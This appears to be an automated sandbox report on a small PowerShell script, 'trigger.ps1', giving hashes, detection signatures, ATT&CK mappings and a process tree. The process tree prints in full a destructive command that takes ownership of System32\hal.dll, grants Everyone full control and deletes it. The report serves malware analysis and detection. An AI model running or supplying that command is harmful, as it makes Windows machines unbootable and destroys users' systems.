4dd70bda2372eb7a20baca37320e246c2e6baf3ad622c558df3e70cb91bed8b2

Analysis

max time kernel
16s
max time network
18s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 14:54

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General

Target

trigger.ps1
Size

142B
MD5

3981277c3f6d65f3351a8709ae9b1a6d
SHA1

35f1475f69a389a1a2480f3ecef78a7a46c93083
SHA256

4dd70bda2372eb7a20baca37320e246c2e6baf3ad622c558df3e70cb91bed8b2
SHA512

a5babc6cda3817f7f74b40568672dd2fb25284bcd493d4bcbd25c621e9ffc71897f239b968fed0c5f526c2e40bc88ef7a62cdc9e7387942cbb172486935d3435

Score

8^/10

discovery execution exploit

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2824	icacls.exe
2832	takeown.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2832	takeown.exe
2824	icacls.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1048	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1048	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeTakeOwnershipPrivilege	2832	takeown.exe
Token: 33	2060	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2060	AUDIODG.EXE
Token: 33	2060	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2060	AUDIODG.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 1728	1048	powershell.exe	30
PID 1048 wrote to memory of 1728	1048	powershell.exe	30
PID 1048 wrote to memory of 1728	1048	powershell.exe	30
PID 1728 wrote to memory of 2832	1728	cmd.exe	31
PID 1728 wrote to memory of 2832	1728	cmd.exe	31
PID 1728 wrote to memory of 2832	1728	cmd.exe	31
PID 1728 wrote to memory of 2824	1728	cmd.exe	32
PID 1728 wrote to memory of 2824	1728	cmd.exe	32
PID 1728 wrote to memory of 2824	1728	cmd.exe	32

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1048
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f C:\Windows\System32\hal.dll"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\hal.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2832
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\hal.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2824

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2492

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x56c
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1048-4-0x000007FEF631E000-0x000007FEF631F000-memory.dmp

Filesize
4KB

Download
memory/1048-7-0x000007FEF6060000-0x000007FEF69FD000-memory.dmp

Filesize
9.6MB

Download
memory/1048-6-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/1048-5-0x000000001B970000-0x000000001BC52000-memory.dmp

Filesize
2.9MB

Download
memory/1048-9-0x000007FEF6060000-0x000007FEF69FD000-memory.dmp

Filesize
9.6MB

Download
memory/1048-8-0x000007FEF6060000-0x000007FEF69FD000-memory.dmp

Filesize
9.6MB

Download
memory/1048-10-0x000007FEF6060000-0x000007FEF69FD000-memory.dmp

Filesize
9.6MB

Download
memory/1048-11-0x000007FEF6060000-0x000007FEF69FD000-memory.dmp

Filesize
9.6MB

Download